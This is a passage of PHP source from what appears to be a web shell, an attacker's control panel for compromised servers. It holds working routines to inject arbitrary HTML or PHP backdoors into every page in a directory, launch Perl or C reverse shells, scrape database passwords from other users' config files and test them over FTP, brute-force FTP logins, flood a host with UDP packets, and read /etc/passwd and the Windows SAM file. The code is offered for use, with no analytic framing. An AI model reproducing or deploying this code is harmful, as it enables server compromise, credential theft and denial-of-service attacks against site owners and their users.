2752
2753 mysql_query("DROP TABLE tmp_file;");
2754
2755 }
2756
2757 }
2758
2759 mysql_drop_db($tmpdb);
2760
2761 }
2762
2763 }
2764
2765 }
2766
2767}
2768
2769echo "</td></tr></table>";
2770
2771if ($sql_sock) {
2772
2773 $affected = @mysql_affected_rows($sql_sock);
2774
2775 if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
2776
2777 echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>";
2778
2779}
2780
2781echo "</table>";
2782
2783}
2784
2785
2786
2787if ($x == 'massbrowsersploit') {
2788
2789?>
2790
2791<b>Mass Code Injection:</b><br><br>
2792
2793Use this to add HTML to the end of every .php, .htm, and .html page in the directory specified.<br><br>
2794
2795<form action="<? echo $surl; ?>" method=GET>
2796
2797<input type=hidden name="masssploit" value="goahead">
2798
2799<input type=hidden name="act" value="massbrowsersploit">
2800
2801<table border=0>
2802
2803<tr><td>Dir to inject: </td><td><input type=text size=50 name="pathtomass" value="<? echo realpath('.'); ?>"> <-- default is dir this shell is in</td></tr>
2804
2805<tr><td>Code to inject: </td><td><textarea name="injectthis" cols=50 rows=4><? echo htmlspecialchars('<IFRAME src="http://www.google.com" width=0 height=0 frameborder=0></IFRAME>'); ?></textarea> <-- best bet would be to include an invisible iframe of browser exploits</td></tr>
2806
2807<tr><td><input type=submit value="Inject Code"></td></tr>
2808
2809</table>
2810
2811</form>
2812
2813<?
2814
2815if ($_GET['masssploit'] == 'goahead') {
2816
2817 if (is_dir($_GET['pathtomass'])) {
2818
2819 $lolinject = $_GET['injectthis'];
2820
2821 foreach (glob($_GET['pathtomass']."/*.php") as $injectj00) {
2822
2823 $fp=fopen($injectj00,"a+");
2824
2825 if (fputs($fp,$lolinject)){
2826
2827 echo '<font color=green>'.$injectj00.' was injected<br></font>';
2828
2829 } else {
2830
2831 echo '<font color=red>failed to inject '.$injectj00.'</font>';
2832
2833 }
2834
2835 }
2836
2837 foreach (glob($_GET['pathtomass']."/*.htm") as $injectj00) {
2838
2839 $fp=fopen($injectj00,"a+");
2840
2841 if (fputs($fp,$lolinject)){
2842
2843 echo $injectj00.' was injected<br>';
2844
2845 } else {
2846
2847 echo '<font color=red>failed to inject '.$injectj00.'</font>';
2848
2849 }
2850
2851 }
2852
2853 foreach (glob($_GET['pathtomass']."/*.html") as $injectj00) {
2854
2855 $fp=fopen($injectj00,"a+");
2856
2857 if (fputs($fp,$lolinject)){
2858
2859 echo $injectj00.' was injected<br>';
2860
2861 } else {
2862
2863 echo '<font color=red>failed to inject '.$injectj00.'</font>';
2864
2865 }
2866
2867 }
2868
2869 } else { //end if inputted dir is real -- if not, show an ugly red error
2870
2871 echo '<b><font color=red>'.$_GET['pathtomass'].' is not available!</font></b>';
2872
2873 } // end if inputted dir is real, for real this time
2874
2875} // end if confirmation to mass sploit is go
2876
2877
2878
2879//new php backdoor
2880
2881?>
2882
2883<b>Mass Code Injection:</b><br><br>
2884
2885Use this to add PHP to the end of every .php page in the directory specified.<br><br>
2886
2887<form action="<? echo $surl; ?>" method=GET>
2888
2889<input type=hidden name="masssploit" value="php">
2890
2891<input type=hidden name="act" value="massbrowsersploit">
2892
2893<table border=0>
2894
2895<tr><td>Dir to inject: </td><td><input type=text size=50 name="pathtomass" value="<? echo realpath('.'); ?>"> <-- default is dir this shell is in</td></tr>
2896
2897<tr><td>Code to inject: </td><td><textarea name="injectthis" cols=50 rows=4><? echo htmlspecialchars('<? if ($_GET["x"] == "lul") { /*code*/; } ?>'); ?></textarea></td></tr>
2898
2899<tr><td><input type=submit value="Inject Code"></td></tr>
2900
2901</table>
2902
2903</form>
2904
2905<?
2906
2907if ($_GET['masssploit'] == 'php') {
2908
2909 if (is_dir($_GET['pathtomass'])) {
2910
2911 $lolinject = $_GET['injectthis'];
2912
2913 foreach (glob($_GET['pathtomass']."/*.php") as $injectj00) {
2914
2915 $fp=fopen($injectj00,"a+");
2916
2917 if (fputs($fp,$lolinject)){
2918
2919 echo '<font color=green>'.$injectj00.' was injected<br></font>';
2920
2921 } else {
2922
2923 echo '<font color=red>failed to inject '.$injectj00.'</font>';
2924
2925 }
2926
2927 }
2928
2929 } else { //end if inputted dir is real -- if not, show an ugly red error
2930
2931 echo '<b><font color=red>'.$_GET['pathtomass'].' is not available!</font></b>';
2932
2933 } // end if inputted dir is real, for real this time
2934
2935} // end if confirmation to mass sploit is php only
2936
2937
2938
2939
2940
2941} // end if massbrowsersploit is called
2942
2943if ($x == 'backconnect'){
2944
2945if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl")) {
2946
2947 if (is_writable(".")) {
2948
2949 cf("back",$back_connect_pl);
2950
2951 $p2 = which("perl");
2952
2953 $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
2954
2955 if (file_exists("back")) { unlink("back"); }
2956
2957 } else {
2958
2959 cf("/tmp/back",$back_connect_pl);
2960
2961 $p2 = which("perl");
2962
2963 $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
2964
2965 if (file_exists("/tmp/back")) { unlink("/tmp/back"); }
2966
2967 }
2968
2969 $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
2970
2971}
2972
2973
2974
2975if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C")) {
2976
2977 if (is_writable(".")) {
2978
2979 cf("backc",$back_connect_c);
2980
2981 ex("chmod 777 backc");
2982
2983 $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
2984
2985 if (file_exists("backc")) { unlink("backc"); }
2986
2987 } else {
2988
2989 ex("chmod 777 /tmp/backc");
2990
2991 cf("/tmp/backc",$back_connect_c);
2992
2993 $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
2994
2995 if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); }
2996
2997 }
2998
2999 $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
3000
3001}
3002
3003}
3004
3005
3006
3007
3008
3009
3010
3011
3012
3013if ($x == 'cpanel'){
3014
3015 if ($_GET['go'] == 'go'){
3016
3017 set_time_limit(0);
3018
3019 ##################
3020
3021 @$passwd=fopen('/etc/passwd','r');
3022
3023 if (!$passwd) {
3024
3025 echo "[-] Error : coudn't read /etc/passwd";
3026
3027 exit;
3028
3029 }
3030
3031 $path_to_public=array();
3032
3033 $users=array();
3034
3035 $pathtoconf=array();
3036
3037 $i=0;
3038
3039
3040
3041 while(!feof($passwd)) {
3042
3043 $str=fgets($passwd);
3044
3045 if ($i>35) {
3046
3047 $pos=strpos($str,":");
3048
3049 $username=substr($str,0,$pos);
3050
3051 $dirz="/home/$username/public_html/";
3052
3053 if (($username!="")) {
3054
3055 if (is_readable($dirz)) {
3056
3057 array_push($users,$username);
3058
3059 array_push($path_to_public,$dirz);
3060
3061 }
3062
3063 }
3064
3065 }
3066
3067 $i++;
3068
3069 }
3070
3071 ###################
3072
3073
3074
3075 #########################
3076
3077 function read_dir($path,$username) {
3078
3079 if ($handle = opendir($path)) {
3080
3081 while (false !== ($file = readdir($handle))) {
3082
3083 $fpath="$path$file";
3084
3085 if (($file!='.') and ($file!='..')) {
3086
3087 if (is_readable($fpath)) {
3088
3089 $dr="$fpath/";
3090
3091 if (is_dir($dr)) {
3092
3093 read_dir($dr,$username);
3094
3095 }
3096
3097 else {
3098
3099 if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or ($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='db_connect.php')) {
3100
3101 $pass=get_pass($fpath);
3102
3103 if ($pass!='') {
3104
3105 echo "[+] $fpath\n$pass\n";
3106
3107 ftp_check($username,$pass);
3108
3109 }
3110
3111 }
3112
3113 }
3114
3115 }
3116
3117 }
3118
3119 }
3120
3121 }
3122
3123 }
3124
3125
3126
3127 function get_pass($link) {
3128
3129 @$config=fopen($link,'r');
3130
3131 while(!feof($config)) {
3132
3133 $line=fgets($config);
3134
3135 if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'passwd')) {
3136
3137 if (strrpos($line,'"'))
3138
3139 $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'"')-(strpos($line,'=')+3)));
3140
3141 else
3142
3143 $pass=substr($line,(strpos($line,'=')+3),(strrpos($line,"'")-(strpos($line,'=')+3)));
3144
3145 return $pass;
3146
3147 }
3148
3149 }
3150
3151 }
3152
3153
3154
3155 function ftp_check($login,$pass) {
3156
3157 @$ftp=ftp_connect('127.0.0.1');
3158
3159 if ($ftp) {
3160
3161 @$res=ftp_login($ftp,$login,$pass);
3162
3163 if ($res) {
3164
3165 echo '[cPanel Found] '.$login.':'.$pass." Success\n";
3166
3167 }
3168
3169 else ftp_quit($ftp);
3170
3171 }
3172
3173 }
3174
3175
3176
3177 echo "<br><br>";
3178
3179 echo "<textarea name='main_window' cols=100 rows=20>";
3180
3181
3182
3183 echo "[+] Found ".sizeof($users)." entrys in /etc/passwd\n";
3184
3185 echo "[+] Found ".sizeof($path_to_public)." readable public_html directories\n";
3186
3187
3188
3189 echo "[~] Searching for passwords in config.* files...\n\n";
3190
3191 foreach ($users as $user) {
3192
3193 $path="/home/$user/public_html/";
3194
3195 read_dir($path,$user);
3196
3197 }
3198
3199
3200
3201 echo "\n[+] Done\n";
3202
3203
3204
3205 echo "</textarea><br>";
3206
3207 }else
3208
3209 echo '<center>Are you sure you would like to search for cPanel accounts on this website/server?<br>Please note this may take a long time to execute depending on the website/server it is run on.<br><br><a href="'.$surl.'x=cpanel&go=go">Yes</a> || <a href="'.$surl.'">No</a></center>';
3210
3211}
3212
3213
3214
3215if ($x == 'fi'){
3216
3217?>
3218
3219<b>Install Local RFI/LFI Scanner</b><br>
3220
3221<form action=<? echo $surl; ?> method=GET>
3222
3223<input type=hidden name="x" value="fi">
3224
3225<input type=hidden name="install" value="yup">
3226
3227Path to install in: <input type=text name="path" value="<? echo $d; ?>"> (must have final /)<br>
3228
3229<input type=submit value="Install"></form>
3230
3231<?
3232
3233 if ($_GET['install'] == 'yup') {
3234
3235 if (is_writable($_GET['path'])) {
3236
3237 cf($_GET['path'].'fi.pl', $fi);
3238
3239 echo '<font color=green><b>fi.pl was created in '.htmlentities($_GET['path']).'</b></font>';
3240
3241 chmod($_GET['path'].'/fi.pl', 0777);
3242
3243 echo '<br />To execute, browse to the directory you installed the scanner in and execute it from there using \'perl fi.pl\'';
3244
3245 }else{
3246
3247 echo '<font color=red><b>Directory is not writable!</b><br></font>';
3248
3249 }
3250
3251 }
3252
3253}
3254
3255
3256
3257if ($x == 'phpproxy'){
3258
3259?>
3260
3261<b>Install PHP Based Proxy</b><br>
3262
3263<form action=<? echo $surl; ?> method=GET>
3264
3265<input type=hidden name="x" value="phpproxy">
3266
3267<input type=hidden name="install" value="yup">
3268
3269Path to install in: <input type=text name="path" value="<? echo $d; ?>"> (must have final /)<br>
3270
3271<input type=submit value="Install"></form>
3272
3273<?
3274
3275 if ($_GET['install'] == 'yup') {
3276
3277 if (is_writable($_GET['path'])) {
3278
3279 cf($_GET['path'].'proxy.php', $phpproxy);
3280
3281 echo '<font color=green><b>proxy.php was created in '.htmlentities($_GET['path']).'</b></font>';
3282
3283 chmod($_GET['path'].'/proxy.php', 0777);
3284
3285 }else{
3286
3287 echo '<font color=red><b>Directory is not writable!</b><br></font>';
3288
3289 }
3290
3291 }
3292
3293}
3294
3295
3296
3297
3298
3299if ($x == 'phptools'){
3300
3301?><center><?
3302
3303//mailer
3304
3305echo '<b>Mailer</b><br>
3306
3307<form action="'.$surl.'" method=GET>
3308
3309<input type="hidden" name="act" value="phptools">
3310
3311<input type=text name=to value=to><br>
3312
3313<input type=text name=from value=from><br>
3314
3315<input type=text name=subject value=subject><br>
3316
3317<input type=text name=body value=body><br>
3318
3319<input type=submit name=submit value=Submit></form>';
3320
3321if (isset($_GET['to']) && isset($_GET['from']) && isset($_GET['subject']) && isset($_GET['body'])) {
3322
3323 $headers = 'From: '.$_GET['from'];
3324
3325 mail ($_GET['to'],$_GET['subject'],$_GET['body'],$headers);
3326
3327 echo 'Email sent.';
3328
3329}
3330
3331
3332
3333//port scanner
3334
3335echo '<br><b>Port Scanner</b><br>';
3336
3337$start = strip_tags($_GET['start']);
3338
3339$end = strip_tags($_GET['end']);
3340
3341$host = strip_tags($_GET['host']);
3342
3343
3344
3345if(isset($_GET['host']) && is_numeric($_GET['end']) && is_numeric($_GET['start'])){
3346
3347for($i = $start; $i<=$end; $i++){
3348
3349 $fp = @fsockopen($host, $i, $errno, $errstr, 3);
3350
3351 if($fp){
3352
3353 echo 'Port '.$i.' is <font color=green>open</font><br>';
3354
3355 }
3356
3357 flush();
3358
3359 }
3360
3361}else{
3362
3363?>
3364
3365<form action="?" method="get">
3366
3367<input type="hidden" name="act" value="phptools">
3368
3369Host:<br />
3370
3371<input type="text" name="host" value="localhost"/><br />
3372
3373Port start:<br />
3374
3375<input type="text" name="start" value="0"/><br />
3376
3377Port end:<br />
3378
3379<input type="text" name="end" value="5000"/><br />
3380
3381<input type="submit" value="Scan Ports" />
3382
3383</form>
3384
3385<?
3386
3387}
3388
3389
3390
3391//UDP
3392
3393if(isset($_GET['host'])&&is_numeric($_GET['time'])){
3394
3395 $pakits = 0;
3396
3397 ignore_user_abort(TRUE);
3398
3399 set_time_limit(0);
3400
3401
3402
3403 $exec_time = $_GET['time'];
3404
3405
3406
3407 $time = time();
3408
3409 //print "Started: ".time('h:i:s')."<br>";
3410
3411 $max_time = $time+$exec_time;
3412
3413
3414
3415 $host = $_GET['host'];
3416
3417
3418
3419 for($i=0;$i<65000;$i++){
3420
3421 $out .= 'X';
3422
3423 }
3424
3425 while(1){
3426
3427 $pakits++;
3428
3429 if(time() > $max_time){
3430
3431 break;
3432
3433 }
3434
3435 $rand = rand(1,65000);
3436
3437 $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
3438
3439 if($fp){
3440
3441 fwrite($fp, $out);
3442
3443 fclose($fp);
3444
3445 }
3446
3447 }
3448
3449 echo "<br><b>UDP Flood</b><br>Completed with $pakits (" . round(($pakits*65)/1024, 2) . " MB) packets averaging ". round($pakits/$exec_time, 2) . " packets per second \n";
3450
3451 echo '<br><br>
3452
3453 <form action="'.$surl.'" method=GET>
3454
3455 <input type="hidden" name="act" value="phptools">
3456
3457 Host: <input type=text name=host value=localhost>
3458
3459 Length (seconds): <input type=text name=time value=9999>
3460
3461 <input type=submit value=Go></form>';
3462
3463}else{ echo '<br><b>UDP Flood</b><br>
3464
3465 <form action=? method=GET>
3466
3467 <input type="hidden" name="act" value="phptools">
3468
3469 Host: <br><input type=text name=host value=localhost><br>
3470
3471 Length (seconds): <br><input type=text name=time value=9999><br>
3472
3473 <input type=submit value=Go></form>';
3474
3475}
3476
3477?></center><?
3478
3479}
3480
3481
3482
3483
3484
3485
3486
3487if ($x == "ftpquickbrute") {
3488
3489echo "<center><table><tr><td class=barheader colspan=2>";
3490
3491echo ".: Ftp Quick Brute :.</td></tr>";
3492
3493echo "<tr><td>";
3494
3495if ($win) {echo "Couldn't run on Windows!";}
3496
3497else {
3498
3499 function caftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {
3500
3501 if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
3502
3503 else {$TRUE = TRUE;}
3504
3505 if ($TRUE) {
3506
3507 $sock = @ftp_connect($host,$port,$timeout);
3508
3509 if (@ftp_login($sock,$login,$pass)) {
3510
3511 echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
3512
3513 ob_flush();
3514
3515 return TRUE;
3516
3517 }
3518
3519 }
3520
3521 }
3522
3523 if (!empty($submit)) {
3524
3525 if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
3526
3527 $fp = fopen("/etc/passwd","r");
3528
3529 if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
3530
3531 else {
3532
3533 if ($fqb_logging) {
3534
3535 if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
3536
3537 else {$fqb_logfp = FALSE;}
3538
3539 $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
3540
3541 if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
3542
3543 }
3544
3545 ob_flush();
3546
3547 $i = $success = 0;
3548
3549 $ftpquick_st = getmicrotime();
3550
3551 while(!feof($fp)) {
3552
3553 $str = explode(":",fgets($fp,2048));
3554
3555 if (caftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) {
3556
3557 echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
3558
3559 $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
3560
3561 if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
3562
3563 $success++;
3564
3565 ob_flush();
3566
3567 }
3568
3569 if ($i > $fqb_lenght) {break;}
3570
3571 $i++;
3572
3573 }
3574
3575 if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
3576
3577 $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
3578
3579 echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
3580
3581 $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
3582
3583 if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
3584
3585 if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);}
3586
3587 fclose($fqb_logfp);
3588
3589 }
3590
3591 }
3592
3593 else {
3594
3595 $logfile = $tmpdir_logs."ca_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
3596
3597 $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
3598
3599 echo "<form action=\"".$surl."\"><input type=hidden name=x value=\"ftpquickbrute\">".
3600
3601 "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>".
3602
3603 "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>".
3604
3605 "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>".
3606
3607 "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>".
3608
3609 "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>".
3610
3611 "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>";
3612
3613 }
3614
3615 echo "</td></tr></table></center>";
3616
3617}
3618
3619}
3620
3621if ($x == "d") {
3622
3623if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; }
3624
3625else {
3626
3627 echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
3628
3629 if (!$win) {
3630
3631 echo "<tr><td><b>Owner/Group</b></td><td> ";
3632
3633 $ow = posix_getpwuid(fileowner($d));
3634
3635 $gr = posix_getgrgid(filegroup($d));
3636
3637 $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
3638
3639 }
3640
3641 echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."x=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>";
3642
3643}
3644
3645}
3646
3647if ($x == "phpinfo") {@ob_clean(); phpinfo(); capriv8exit();}
3648
3649if ($x == "security") {
3650
3651 echo "<div class=barheader>.: Server Security Information :.</div>".
3652
3653 "<table>".
3654
3655 "<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>";
3656
3657 echo "<td>Password File</td><td>";
3658
3659 if (!$win) {
3660
3661 if ($nixpasswd) {
3662
3663 if ($nixpasswd == 1) {$nixpasswd = 0;}
3664
3665 echo "*nix /etc/passwd:<br>";
3666
3667 if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
3668
3669 if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
3670
3671 echo "<form action=\"".$surl."\"><input type=hidden name=x value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b> <input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\"> <b>To:</b> <input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\"> <input type=submit value=\"View\"></form><br>";
3672
3673 $i = $nixpwd_s;
3674
3675 while ($i < $nixpwd_e) {
3676
3677 $uid = posix_getpwuid($i);
3678
3679 if ($uid) {
3680
3681 $uid["dir"] = "<a href=\"".$surl."x=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
3682
3683 echo join(":",$uid)."<br>";
3684
3685 }
3686
3687 $i++;
3688
3689 }
3690
3691 }
3692
3693 else {echo "<a href=\"".$surl."x=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a>";}
3694
3695 }
3696
3697 else {
3698
3699 $v = $_SERVER["WINDIR"]."\repair\sam";
3700
3701 if (file_get_contents($v)) {echo "<td colspan=2><div class=fxerrmsg>You can't crack Windows passwords(".$v.")</div></td></tr>"; }
3702
3703 else {echo "You can crack Windows passwords. <a href=\"".$surl."x=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?.</td></tr>";}
3704
3705 }
3706
3707 echo "</td></tr>";
3708
3709 echo "<tr><td>Config Files</td><td>";
3710
3711 if (!$win) {
3712
3713 $v = array(
3714
3715 array("User Domains","/etc/userdomains"),
3716
3717 array("Cpanel Config","/var/cpanel/accounting.log"),
3718
3719 array("Apache Config","/usr/local/apache/conf/httpd.conf"),
3720
3721 array("Apache Config","/etc/httpd.conf"),
3722
3723 array("Syslog Config","/etc/syslog.conf"),
3724
3725 array("Message of The Day","/etc/motd"),
3726
3727 array("Hosts","/etc/hosts")
3728
3729 );
3730
3731 $sep = "/";
3732
3733 }
3734
3735 else {
3736
3737 $windir = $_SERVER["WINDIR"];
3738
3739 $etcdir = $windir . "\system32\drivers\etc\\";
3740
3741 $v = array(
3742
3743 array("Hosts",$etcdir."hosts"),
3744
3745 array("Local Network Map",$etcdir."networks"),
3746
3747 array("LM Hosts",$etcdir."lmhosts.sam"),
3748
3749 );
3750
3751 $sep = "\\";
3752
3753 }
3754
3755 foreach ($v as $sec_arr) {
3756
3757 $sec_f = substr(strrchr($sec_arr[1], $sep), 1);
3758
3759 $sec_d = rtrim($sec_arr[1],$sec_f);
3760
3761 $sec_full = $sec_d.$sec_f;
3762
3763 $sec_d = rtrim($sec_d,$sep);
3764
3765 if (file_get_contents($sec_full)) {
3766
3767 echo " [ <a href=\"".$surl."x=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><u><b>".$sec_arr[0]."</b></u></a> ] ";
3768
3769 }
3770
3771 }
3772
3773 echo "</td></tr>";
3774
3775
3776
3777 function displaysecinfo($name,$value) {
3778
3779 if (!empty($value)) {
3780
3781 echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>";
3782
3783 }
3784
3785 }
3786
3787 if (!$win) {
3788
3789 displaysecinfo("OS Version",myshellexec("cat /proc/version"));
3790
3791 displaysecinfo("Kernel Version",myshellexec("sysctl -a | grep version"));
3792
3793 displaysecinfo("Distrib Name",myshellexec("cat /etc/issue.net"));
3794
3795 displaysecinfo("Distrib Name (2)",myshellexec("cat /etc/*-realise"));
3796
3797 displaysecinfo("CPU Info",myshellexec("cat /proc/cpuinfo"));
3798
3799 displaysecinfo("RAM",myshellexec("free -m"));
3800
3801 displaysecinfo("HDD Space",myshellexec("df -h"));
3802
3803 displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
3804
3805 displaysecinfo("Mount Options",myshellexec("cat /etc/fstab"));
3806
3807 displaysecinfo("cURL installed?",myshellexec("which curl"));
3808
3809 displaysecinfo("lynx installed?",myshellexec("which lynx"));
3810
3811 displaysecinfo("links installed?",myshellexec("which links"));
3812
3813 displaysecinfo("fetch installed?",myshellexec("which fetch"));
3814
3815 displaysecinfo("GET installed?",myshellexec("which GET"));
3816
3817 displaysecinfo("perl installed?",myshellexec("which perl"));
3818
3819 displaysecinfo("Where is Apache?",myshellexec("whereis apache"));
3820
3821 displaysecinfo("Where is perl?",myshellexec("whereis perl"));
3822
3823 displaysecinfo("Locate proftpd.conf",myshellexec("locate proftpd.conf"));
3824
3825 displaysecinfo("Locate httpd.conf",myshellexec("locate httpd.conf"));
3826
3827 displaysecinfo("Locate my.conf",myshellexec("locate my.conf"));
3828
3829 displaysecinfo("Locate psybnc.conf",myshellexec("locate psybnc.conf"));
3830
3831 }
3832
3833 else {
3834
3835 displaysecinfo("OS Version",myshellexec("ver"));
3836
3837 displaysecinfo("Account Settings",myshellexec("net accounts"));
3838
3839 }
3840
3841 echo "</table>\n";
3842
3843}
3844
3845if ($x == "mkfile") {
3846
3847if ($mkfile != $d) {
3848
3849 if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object already exists!";}
3850
3851 elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied!";}
3852
3853 else {$x = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
3854
3855}
3856
3857else {$x = $dspact = "ls";}
3858
3859}
3860
3861if ($x == "encoder") {
3862
3863echo "<script language=\"javascript\">function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script>".
3864
3865 "<form name=\"encoder\" action=\"".$surl."\" method=POST>".
3866
3867 "<input type=hidden name=x value=encoder>".
3868
3869 "<center><table class=contents>".
3870
3871 "<tr><td colspan=4 class=barheader>.: Encoder :.</td>".
3872
3873 "<tr><td colspan=2>Input:</td><td><textarea name=\"encoder_input\" id=\"input\" cols=70 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br>".
3874
3875 "<input type=submit value=\"calculate\"></td></tr>".
3876
3877 "<tr><td rowspan=4>Hashes:</td>";
3878
3879foreach(array("md5","crypt","sha1","crc32") as $v) {
3880
3881 echo "<td>".$v.":</td><td><input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly></td></tr><tr>";
3882
3883}
3884
3885echo "</tr>".
3886
3887 "<tr><td rowspan=2>Url:</td>".
3888
3889 "<td>urlencode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly></td></tr>".
3890
3891 "<tr><td>urldecode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly></td></tr>".
3892
3893 "<tr><td rowspan=2>Base64:</td>".
3894
3895 "<td>base64_encode:</td><td><input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></td></tr>".
3896
3897 "<tr><td>base64_decode:</td><td>";
3898
3899if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"Failed!\" disabled readonly>";}
3900
3901else {
3902
3903 $debase64 = base64_decode($encoder_input);
3904
3905 $debase64 = str_replace("\0","[0]",$debase64);
3906
3907 $a = explode("\r\n",$debase64);
3908
3909 $rows = count($a);
3910
3911 $debase64 = htmlspecialchars($debase64);
3912
3913 if ($rows == 1) { echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>"; }
3914
3915 else { $rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>"; }
3916
3917 echo " <a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\">[Send to input]</a>";
3918
3919}
3920
3921echo "</td></tr>".
3922
